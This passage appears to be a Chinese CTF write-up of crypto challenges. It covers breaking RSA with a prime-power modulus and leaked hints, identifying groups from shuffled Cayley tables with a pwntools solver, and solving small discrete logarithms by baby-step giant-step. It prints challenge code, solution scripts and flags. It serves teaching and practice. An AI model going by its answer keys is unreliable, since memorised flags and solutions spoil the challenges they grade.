print("\n未能找到 p,解密失败。")
exit()

binary_flag = ""
for c_i in ciphertext:
# bit = (c_i % p) % 2
bit = (c_i % p) % 2
binary_flag += str(bit)

print(f"\n恢复的二进制字符串长度: {len(binary_flag)}")

flag = ""
for i in range(0, len(binary_flag), 8):
byte = binary_flag[i:i+8]
if len(byte) == 8:
char_code = int(byte, 2)
flag += chr(char_code)

print(flag)

FLAG

1
flag{3235c1ab-6830-480f-b5e0-39be40b94a7d}

RSA_revenge

Challenge

Fermat和Euler在week1被击败了,这次他们大大升级卷土重来,聪明的你掏出了骨传导耳机和爆破弹,你能打出漂亮的防守吗?(方法不止一种哦,聪明的你能想到吗?)

【难度:困难】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# 这段脚本把 flag 拆成两半并分别加密

from Crypto.Util.number import *
import random


# 原始 flag
flag = b'flag{???????????????????}'
length = len(flag)

# 把 flag 分成前后两半,分别转换为整数 m1, m2
m1 = bytes_to_long(flag[:length//2])
m2 = bytes_to_long(flag[length//2:])

# ------------------------- par1: 构造第1类模 n1 并加密 m -------------------------
def par1(m):

lst = []
# 选取 3 个不同的大素数(每个 512 bit)
while len(lst) < 3:
prime = getPrime(512)
if prime not in lst:
lst.append(prime)
print(prime)

# n1 = ∏ p_i^{t_i},其中每个素因子 p_i 被随机提升到 2到7 的小幂
n1 = 1
for prime in lst:
tmp = random.randint(2, 7) # 指数 tmp 在 2到7 之间
print(tmp)
n1 *= prime ** tmp

e = 65537
# 在模 n1 下对 m 做 RSA 加密
c1 = pow(m, e, n1)

# 输出素因子列表、模 n1、密文 c1

print(f"list:{lst}")
print(f"n1={n1}")
print(f"c1={c1}")


# ------------------------- par2: 构造第2类模 n2 并加密 m,给出多个 hint -------------------------
def par2(m):

# 随机选三个不同的大素数 p2,q2,r2(每个 512 bit),并把它们相乘得到 n2
while True:
p2 = getPrime(512)
q2 = getPrime(512)
r2 = getPrime(512)
if p2 != q2 and p2 != r2 and q2 != r2:
break

n2 = p2 * q2 * r2


hint1 = pow(m, p2 * q2, n2)
hint2 = pow(m, r2, n2) # 怎么用好 hint1 和 hint2 呢?试一试 Fermat 吧!
hint3 = p2 + q2 # hint3 很关键 —— 想想如果你知道 p+q 和 p*q,就能做什么?

e = 65537
c2 = pow(m, e, n2)

print(f"n2={n2}")
print(f"hint1={hint1}")
print(f"hint2={hint2}")
print(f"hint3={hint3}")
print(f"c2={c2}")


# 分别运行两部分,对 flag 的前半段/后半段加密并输出相关提示
par1(m1)
par2(m2)


'''
list:[8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239, 7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229, 12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317]
n1=1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463
c1=1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949

n2=1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199
hint1=495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372
hint2=30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076
hint3=20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840
c2=548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968
'''

Solution

第 1 部分 (par1 解密 m1)

  1. 目标:解密 c1 得到 m1,这是一个 RSA 加密,但模数 n1 不是两个素数的乘积,而是 p1^t1 * p2^t2 * p3^t3
  2. 关键:要进行 RSA 解密,我们需要计算私钥 d1,这需要欧拉函数 phi(n1)
  3. 欧拉函数计算
    • 对于 n = p^kphi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1)
    • 欧拉函数是积性函数,所以 phi(n1) = phi(p1^t1) * phi(p2^t2) * phi(p3^t3)
  4. 解密步骤
    • par1 的输出中我们直接获得了素数列表 lst 和对应的指数 t_i
    • 利用上面的公式计算出 phi(n1)
    • 计算私钥 d1 = inverse(e, phi(n1))
    • 解密得到 m1 = pow(c1, d1, n1)

第 2 部分 (par2 解密 m2)

  1. 目标:解密 c2 得到 m2,这是一个三素数 RSA 问题 (n2 = p2 * q2 * r2),但我们有几个强大的 hint
  2. 利用 hint 分解 n2
    • hint2 = pow(m, r2, n2):根据费马小定理 m^r2 ≡ m (mod r2),因此我们可以推断出 hint2 ≡ m (mod r2)
    • 因为 c2 = pow(m, e, n2),所以 c2 ≡ m^e (mod r2)
    • m ≡ hint2 (mod r2) 代入上式得到 c2 ≡ hint2^e (mod r2)
    • 这意味着 c2 - hint2^er2 的倍数,同时 n2 也是 r2 的倍数,因此我们可以通过计算 gcd(c2 - pow(hint2, e, n2), n2) 来求出 r2
    • hint3 = p2 + q2:一旦求出 r2 就可以计算 p2q2 = n2 // r2
    • 现在知道了 p2 + q2 的值 (S = hint3) 和 p2 * q2 的值 (P = n2 // r2),可以解一个一元二次方程 x^2 - S*x + P = 0 来求出 p2q2,方程的解是 (S ± sqrt(S^2 - 4P)) / 2
  3. 解密步骤
    • 使用上述 gcd 技巧求出 r2
    • 计算 p2q2 = n2 // r2
    • 使用 hint3p2q2 解二次方程,得到 p2q2
    • 计算 phi(n2) = (p2 - 1) * (q2 - 1) * (r2 - 1)
    • 计算私钥 d2 = inverse(e, phi(n2))
    • 解密得到 m2 = pow(c2, d2, n2)

最后把 m1m2 转换回字节并拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from Crypto.Util.number import *
import math

list = ...
n1 = ...
c1 = ...

n2 = ...
# hint1 没用上
hint2 = ...
hint3 = ...
c2 = ...

e = 65537

# ========================= Part 1: 解密 m1 =========================

# 从 n1 和素数列表 list 中恢复每个素数的指数
factors = {}
temp_n1 = n1
for p in list:
if p == 0: continue # 防止列表未填充时出错
count = 0
while temp_n1 % p == 0:
temp_n1 //= p
count += 1
factors[p] = count

# 计算 phi(n1)
# phi(p^k) = p^(k-1) * (p-1)
phi_n1 = 1
for p, t in factors.items():
phi_n1 *= (p**(t-1) * (p-1))

# 计算私钥 d1
d1 = inverse(e, phi_n1)

# 解密 m1
m1 = pow(c1, d1, n1)
flag1 = long_to_bytes(m1)

# ========================= Part 2: 解密 m2 =========================
# 利用 hint2 和 c2 求出 r2
# 因为 hint2 ≡ m (mod r2), c2 ≡ m^e (mod r2)
# 所以 c2 - hint2^e ≡ 0 (mod r2)
# 因此 r2 是 gcd(c2 - pow(hint2, e, n2), n2) 的一个因子(在此题中就是r2本身)
temp_val = (c2 - pow(hint2, e, n2)) % n2
r2 = GCD(temp_val, n2)

# 计算 p2*q2
p2q2 = n2 // r2

# 利用 hint3 = p2+q2 和 p2q2 来求解 p2, q2
# 解一元二次方程 x^2 - (p2+q2)x + p2q2 = 0
S = hint3 # p2 + q2
P = p2q2 # p2 * q2
delta = S*S - 4*P

if delta < 0:
print("[!] 无法分解 p2 和 q2 (delta < 0)")
else:
sqrt_delta = math.isqrt(delta)
if sqrt_delta * sqrt_delta != delta:
print("[!] 无法分解 p2 和 q2 (delta 不是完全平方数)")
else:
p2 = (S + sqrt_delta) // 2
q2 = (S - sqrt_delta) // 2

# 验证分解是否正确
if p2 * q2 * r2 == n2:
# 计算 phi(n2)
phi_n2 = (p2 - 1) * (q2 - 1) * (r2 - 1)

# 计算私钥 d2
d2 = inverse(e, phi_n2)

# 解密 m2
m2 = pow(c2, d2, n2)
flag2 = long_to_bytes(m2)

flag = flag1 + flag2
print(flag)
else:
print("[!] 分解出的素数不正确")

FLAG

1
flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!}

群论小测试

Challenge

扣”循环群“变成群论高手

【难度:中等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# Sage 9.3

from __future__ import annotations
import os
import random
import sys

try:
from sage.all import (
SymmetricGroup, AlternatingGroup, DihedralGroup,
CyclicPermutationGroup, QuaternionGroup, AbelianGroup
)
except Exception as e:
sys.stderr.write("This script must be run with SageMath")
raise

# --------------------------- Config ---------------------------
ROUNDS_NEEDED = 5

from secret import FLAG

CATALOG = [
# (human_key, constructor_callable, accepted_aliases)
("C2", lambda: CyclicPermutationGroup(2), {"C2","C_2","Z2","Z_2","CYCLIC2"}),
("C3", lambda: CyclicPermutationGroup(3), {"C3","C_3","Z3","Z_3","CYCLIC3"}),
("C4", lambda: CyclicPermutationGroup(4), {"C4","C_4","Z4","Z_4","CYCLIC4"}),
("C5", lambda: CyclicPermutationGroup(5), {"C5","C_5","Z5","Z_5","CYCLIC5"}),
("C6", lambda: CyclicPermutationGroup(6), {"C6","C_6","Z6","Z_6","CYCLIC6"}),
("C7", lambda: CyclicPermutationGroup(7), {"C7","C_7","Z7","Z_7","CYCLIC7"}),
("C8", lambda: CyclicPermutationGroup(8), {"C8","C_8","Z8","Z_8","CYCLIC8"}),
("C9", lambda: CyclicPermutationGroup(9), {"C9","C_9","Z9","Z_9","CYCLIC9"}),
("C10", lambda: CyclicPermutationGroup(10), {"C10","C_10","Z10","Z_10","CYCLIC10"}),
("V4", lambda: AbelianGroup([2,2]), {"V4","K4","KLEIN4","KLEINGROUP","C2XC2","C2*C2","Z2XZ2","Z2*Z2"}),
("S3", lambda: SymmetricGroup(3), {"S3","S_3","SYM3","D3","D_3","DIHEDRAL6"}),
("S5", lambda: SymmetricGroup(5), {"S5","S_5","SYM5"}),
("D4", lambda: DihedralGroup(4), {"D4","D_4","DIHEDRAL8","D8","D_8"}),
("D5", lambda: DihedralGroup(5), {"D5","D_5","DIHEDRAL10"}),
("D6", lambda: DihedralGroup(6), {"D6","D_6","DIHEDRAL12"}),
("Q8", lambda: QuaternionGroup(), {"Q8","Q_8","QUATERNION","QUATERNION8"}),
("A4", lambda: AlternatingGroup(4), {"A4","A_4","ALT4"}),
("A5", lambda: AlternatingGroup(5), {"A5","A_5","ALT"}),
]

MAX_ORDER =10

# --------------------------- Helpers ---------------------------

def normalize_answer(s: str) -> str:
s = s.strip().upper()
s = s.replace("×","X").replace("*","X").replace("-","")
s = s.replace("_","").replace(" ","").replace(".","")
return s


def pick_group():
pool = []
for key, ctor, aliases in CATALOG:
G = ctor()
if MAX_ORDER is None or G.order() <= MAX_ORDER:
pool.append((key, ctor, aliases))
key, ctor, aliases = random.choice(pool)
G = ctor()
return key, G, aliases


def cayley_table_random_labels(G):
elems = list(G)
n = len(elems)
perm = list(range(n))
random.shuffle(perm)

idx_by_elem = {elems[i]: perm[i] for i in range(n)}

elem_by_label = [None]*n
for i, e in enumerate(elems):
elem_by_label[idx_by_elem[e]] = e

T = [[None]*n for _ in range(n)]
for a in range(n):
for b in range(n):
prod = elem_by_label[a] * elem_by_label[b]
T[a][b] = idx_by_elem[prod]
return T


def print_table(T):
n = len(T)
# Header row
header = [" "] + [str(j) for j in range(n)]
print(" ".join(h.rjust(3) for h in header))
print("-" * (4*n))
for i in range(n):
row = [str(i)] + [str(T[i][j]) for j in range(n)]
print(" ".join(x.rjust(3) for x in row))

"""
def prompt(msg: str) -> str:
sys.stdout.write(msg)
sys.stdout.flush()
return sys.stdin.readline()
"""

# --------------------------- Game Loop ---------------------------

def main():
random.seed(os.urandom(16))
print("Welcome to the Cayley Table Group-ID Quiz!\n")
print(f"Identify {ROUNDS_NEEDED} groups correctly to get the flag.\n")
correct = 0
round_no = 0
while correct < ROUNDS_NEEDED:
round_no += 1
key, G, aliases = pick_group()
T = cayley_table_random_labels(G)
print(f"Round {round_no}: The table below is a group of order n={len(T)}.")
print("Elements are anonymized as 0..n-1. Multiplication is row * column.\n")
print_table(T)
ans = input("\nYour answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): ")
if not ans:
print("No input detected. Exiting.")
return
norm = normalize_answer(ans)
if norm in aliases:
correct += 1
print(f"✅ Correct! Progress: {correct}/{ROUNDS_NEEDED}\n")
else:
# Small hint to keep it fun without giving away.
abelian = all(T[i][j] == T[j][i] for i in range(len(T)) for j in range(len(T)))
hint = "abelian" if abelian else "non-abelian"
print(f"❌ Incorrect. Hint: the group is {hint}, order {len(T)}. Try the next one!\n")
print(f"\n🎉 Congrats! Here is your flag: {FLAG}")


if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nBye!")

Solution

本挑战是一个基于群论的识别游戏。服务器会提供一个群的凯莱表(乘法表),但群元素的标签(0 到 n-1)是随机打乱的。我们需要在5轮中正确地识别出凯莱表所代表的群,从而获得 flag。服务器从一个预定义的群目录中选择群,且群的阶数不超过10。

解题思路

由于元素的标签是匿名的,我们无法通过直接比较凯莱表来识别群。解决此问题的关键在于利用群的同构不变量——这些属性不随元素的重新标记而改变。对于阶数较小的有限群,以下三个不变量的组合足以唯一地识别它们:

  1. 群的阶 (Order):群中元素的数量 n。这是最基本的不变量,可以直接从凯莱表的维度 n x n 得到。
  2. 交换性 (Abelian Property):群是否是阿贝尔群(即乘法满足交换律)。这可以通过检查凯莱表是否沿主对角线对称来判断(即 T[i][j] == T[j][i] 对所有 i, j 成立)。
  3. 元素阶的分布 (Element Order Distribution):群中所有元素的阶(Order)构成的多重集。一个元素 g 的阶是指最小的正整数 k 使得 g^k 等于单位元 e。这个分布是识别群同构类型的强大指纹。

解题策略是:

  1. 构建指纹库:离线预计算服务器 CATALOG 中所有可能出现的群(阶小于等于10)的指纹。每个群的指纹由其 (阶, 是否为交换群, 排序后的元素阶列表) 构成。
  2. 在线分析:对于服务器在每一轮发来的凯莱表,我们在线计算其对应的指纹。
  3. 匹配与回答:将在线计算出的指纹与预计算的指纹库进行匹配,找到对应的群的名称,然后发送给服务器。

解题步骤

步骤一:构建指纹库

我们首先需要分析服务器代码中的 CATALOG 列表,找出所有阶数小于等于10的群,并计算它们的指纹。

群名称 阶 (Order) 是否交换 (Abelian) 元素阶分布 (排序后) 指纹
C2 2 True 1, 2 (2, True, (1, 2))
C3 3 True 1, 3, 3 (3, True, (1, 3, 3))
V4 4 True 1, 2, 2, 2 (4, True, (1, 2, 2, 2))
C4 4 True 1, 2, 4, 4 (4, True, (1, 2, 4, 4))
C5 5 True 1, 5, 5, 5, 5 (5, True, (1, 5, 5, 5, 5))
S3 6 False 1, 2, 2, 2, 3, 3 (6, False, (1, 2, 2, 2, 3, 3))
C6 6 True 1, 2, 3, 3, 6, 6 (6, True, (1, 2, 3, 3, 6, 6))
C7 7 True 1, 7, 7, 7, 7, 7, 7 (7, True, (1, 7, 7, 7, 7, 7, 7))
D4 8 False 1, 2, 2, 2, 2, 2, 4, 4 (8, False, (1, 2, 2, 2, 2, 2, 4, 4))
Q8 8 False 1, 2, 4, 4, 4, 4, 4, 4 (8, False, (1, 2, 4, 4, 4, 4, 4, 4))
C8 8 True 1, 2, 4, 4, 8, 8, 8, 8 (8, True, (1, 2, 4, 4, 8, 8, 8, 8))
C9 9 True 1, 3, 3, 9, 9, 9, 9, 9, 9 (9, True, (1, 3, 3, 9, 9, 9, 9, 9, 9))
D5 10 False 1, 2, 2, 2, 2, 2, 5, 5, 5, 5 (10, False, (1, 2, 2, 2, 2, 2, 5, 5, 5, 5))
C10 10 True 1, 2, 5, 5, 5, 5, 10, 10, 10, 10 (10, True, (1, 2, 5, 5, 5, 5, 10, 10, 10, 10))

这些指纹在给定的群列表中是唯一的。我们将这些数据硬编码到一个 Python 字典中,用于快速查找。

步骤二:编写自动化脚本 (Online)

我们使用 pwntools 库来与服务器进行交互。脚本的核心逻辑分为两部分:解析凯莱表和计算其指纹。

  1. 解析凯莱表 (parse_table):

    • 从服务器的输出中,通过正则表达式 order n=(\d+) 找到群的阶 n
    • 定位到表格数据前的 --- 分隔线。
    • 从分隔线后读取 n 行数据。
    • 将每一行字符串解析为数字列表,并去掉行号,最终构建一个 n x n 的整数矩阵。
  2. 识别群 (identify_group):

    • 计算阶: n = len(table)
    • 判断交换性: 遍历表格,检查 table[i][j] == table[j][i] 是否对所有 i, j 成立。
    • 寻找单位元: 遍历所有元素 i(从0到 n-1),找到那个满足 table[i][j] == j (行) 且 table[j][i] == j (列) 的 i。这个 i 就是单位元的匿名标签。
    • 计算元素阶分布:
      • 对于每一个元素 x(标签为 i),初始化其阶 order = 1
      • 计算 x^2 = table[i][i], x^3 = table[table[i][i]][i], … 直到结果等于单位元的标签。
      • 迭代的次数就是元素 x 的阶。
      • 收集所有 n 个元素的阶。
    • 生成指纹: 将 (阶, 交换性, 排序后的元素阶列表) 组合成一个元组。
    • 匹配: 在预计算的指纹库中查找这个元组,返回对应的群名称。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
from pwn import *
import re

HOST = ...
PORT = ...
ROUNDS_NEEDED = 5

# 预计算的群指纹
# 格式: (order, is_abelian, sorted_tuple_of_element_orders) -> "GroupName"
FINGERPRINTS = {
# Order 2
(2, True, (1, 2)): "C2",
# Order 3
(3, True, (1, 3, 3)): "C3",
# Order 4
(4, True, (1, 2, 2, 2)): "V4",
(4, True, (1, 2, 4, 4)): "C4",
# Order 5
(5, True, (1, 5, 5, 5, 5)): "C5",
# Order 6
(6, True, (1, 2, 3, 3, 6, 6)): "C6",
(6, False, (1, 2, 2, 2, 3, 3)): "S3",
# Order 7
(7, True, (1, 7, 7, 7, 7, 7, 7)): "C7",
# Order 8
(8, True, (1, 2, 4, 4, 8, 8, 8, 8)): "C8",
(8, False, (1, 2, 2, 2, 2, 2, 4, 4)): "D4",
(8, False, (1, 2, 4, 4, 4, 4, 4, 4)): "Q8",
# Order 9
(9, True, (1, 3, 3, 9, 9, 9, 9, 9, 9)): "C9",
# Order 10
(10, True, (1, 2, 5, 5, 5, 5, 10, 10, 10, 10)): "C10",
(10, False, (1, 2, 2, 2, 2, 2, 5, 5, 5, 5)): "D5",
}

def parse_table(data):
"""
从服务器输出中稳健地解析出凯莱表。
通过先找到阶n,再定位分隔符,然后读取n行来确保表格的完整性。
"""
lines = data.decode().splitlines()
table = []
n = None

# 1. 从介绍文本中找到群的阶 n
for line in lines:
match = re.search(r'order n=(\d+)', line)
if match:
n = int(match.group(1))
break

if n is None:
log.error("Could not find group order 'n=...' in the output.")
return []

# 2. 找到表格前的 '---' 分隔线
try:
separator_index = next(i for i, line in enumerate(lines) if '---' in line)
except StopIteration:
log.error("Could not find table separator '---' in the output.")
return []

# 3. 从分隔线后精确地读取 n 行数据
table_data_lines = lines[separator_index + 1 : separator_index + 1 + n]

if len(table_data_lines) < n:
log.error(f"Expected {n} table rows, but only found {len(table_data_lines)}.")
return []

# 4. 解析每一行
for i, line in enumerate(table_data_lines):
try:
# 按空格分割,并过滤掉空字符串,然后转换为整数
parts = [int(p) for p in line.split()]
# 验证该行是否包含 n+1 个数字 (行号 + n个数据)
if len(parts) == n + 1:
table.append(parts[1:])
else:
log.error(f"Row {i} is malformed. Expected {n+1} numbers, got {len(parts)}. Line: '{line}'")
return []
except ValueError:
log.error(f"Could not parse numbers in row {i}. Line: '{line}'")
return []

return table


def identify_group(table):
"""根据凯莱表计算指纹并识别群"""
n = len(table)
if n == 0:
return None

# 1. 检查交换性 (is_abelian)
is_abelian = all(table[i][j] == table[j][i] for i in range(n) for j in range(n))

# 2. 找到单位元 (identity element)
identity_label = -1
for i in range(n):
is_identity_row = (table[i] == list(range(n)))
is_identity_col = all(table[j][i] == j for j in range(n))
if is_identity_row and is_identity_col:
identity_label = i
break

if identity_label == -1:
log.error("Could not find identity element!")
return None

# 3. 计算所有元素的阶
element_orders = []
for i in range(n):
order = 1
current = i
while current != identity_label:
current = table[current][i]
order += 1
element_orders.append(order)

# 4. 生成指纹
fingerprint = (n, is_abelian, tuple(sorted(element_orders)))
log.info(f"Generated fingerprint: {fingerprint}")

# 5. 在库中查找指纹
group_name = FINGERPRINTS.get(fingerprint)

return group_name

def main():
p = remote(HOST, PORT)

p.recvuntil(b"get the flag.\n\n")

for i in range(ROUNDS_NEEDED):
log.info(f"--- Round {i+1}/{ROUNDS_NEEDED} ---")

data = p.recvuntil(b"Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): ")

table = parse_table(data)
if not table:
log.error("Failed to parse Cayley table. Exiting.")
p.close()
return

log.info(f"Parsed table of order {len(table)}")

group_name = identify_group(table)

if group_name:
log.success(f"Identified group as: {group_name}")
p.sendline(group_name.encode())
feedback = p.recvline().decode().strip()
log.info(f"Server feedback: {feedback}")
if "Incorrect" in feedback:
log.error("Server reported incorrect answer. Something is wrong with the logic or fingerprints.")
break
p.recvline()
else:
log.error("Could not identify the group.")
p.close()
return

log.success("All rounds completed! Receiving flag...")
p.recvuntil(b"flag: ")
flag = p.recvline().decode().strip()
log.success(f"FLAG: {flag}")

p.close()

if __name__ == "__main__":
main()

FLAG

1
flag{I_v3_b3c0m3_@n_e^3Rt_in_gr0up_7h30ry_@Ft3r_5o1ving_7hi5_+++bl3m!!!}

DLP_1

Challenge

sagemath中好像有现成的工具?

【难度:简单】

Solution

加密逻辑分析

  1. 代码流程:

    • 脚本将一个长度为 18 字节的 flag 核心内容 (inner) 分成了 3 个 6 字节长的部分 (parts)
    • 对于每个部分,脚本执行了以下操作:
      1. 将 6 字节的 part 转换为一个大整数 x (bytes_to_long)
      2. 生成一个 48 位的素数 p
      3. 找到 p 的一个原根 g
      4. 计算 h = pow(g, x, p),即 h ≡ g^x (mod p)
    • 最后输出三组 (p, g, h) 的值
  2. 核心问题:
    我们的任务是根据已知的 p, g, h,反向求解出 x

    具体来说,我们需要解三个独立的离散对数方程:

    • 5^x₀ ≡ 78860859934701 (mod 189869646048037)
    • 3^x₁ ≡ 89478248978180 (mod 255751809593851)
    • 3^x₂ ≡ 81479747246082 (mod 216690843046819)
  3. 解决方法:
    离散对数问题在通用情况下是困难的,但当模数 p 相对较小时我们可以使用一些算法来解决它:

    • 模数 p 是 48 位的,这意味着 p 的大小约在 2^472^48 之间
    • 对于这个规模的数字,BSGS 算法是一个非常有效的解决方法,该算法的时间复杂度和空间复杂度都是 O(sqrt(p))

大步小步算法 (BSGS) 简介

我们要解 g^x ≡ h (mod p)

  1. m = ceil(sqrt(p-1)),其中 ceil 是向上取整
  2. 我们可以把 x 表示为 x = i*m - j,其中 0 <= i,j < m
  3. 方程变为 g^(i*m - j) ≡ h (mod p)
  4. 整理得 (g^m)^i ≡ h * g^j (mod p)
  5. 小步 (Baby Steps):我们计算右边的 h * g^j 对于所有 j (0 <= j < m) 的值,并将结果 { (h * g^j mod p) : j } 存入一个哈希表中
  6. 大步 (Giant Steps):我们计算左边的 (g^m)^i 对于所有 i (1 <= i <= m) 的值,并在哈希表中查找
  7. 一旦找到匹配项,即 (g^m)^i 的值在哈希表中,我们就找到了对应的 ij
  8. 最终解 x = i*m - j

注意:x 也可以表示为 x = i*m + j,这样方程变为 g^j ≡ h * (g^-m)^i (mod p)。两种形式都可以,实现上略有不同但原理一致。第二种形式更常见,因为它避免了在“大步”中计算 h 的逆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Crypto.Util.number import long_to_bytes
from math import isqrt

def bsgs(g, h, p):
N = p - 1 # 模 p 的乘法群的阶
m = isqrt(N) + 1

# Baby steps: 计算 g^j 并存储在哈希表中
baby_steps = {}
val = 1
for j in range(m):
if val not in baby_steps:
baby_steps[val] = j
val = (val * g) % p

# Giant steps: 计算 h * (g^-m)^i 并查找
# 首先计算 g 的逆的 m 次方: g^(-m) mod p
g_inv_m = pow(g, -m, p)

giant_step_val = h
for i in range(m):
if giant_step_val in baby_steps:
j = baby_steps[giant_step_val]
return i * m + j
giant_step_val = (giant_step_val * g_inv_m) % p

return None # 如果没有找到解

p_list = [189869646048037, 255751809593851, 216690843046819]
g_list = [5, 3, 3]
h_list = [78860859934701, 89478248978180, 81479747246082]

# 存储解出的每个部分
inner_parts = []

# 循环解出每一个 x
for i in range(3):
p = p_list[i]
g = g_list[i]
h = h_list[i]

print(f"[*] Solving for part {i}: g^{{x}} ≡ h (mod p)")
print(f" g = {g}, h = {h}, p = {p}")

# 使用 BSGS 求解 x
x = bsgs(g, h, p)
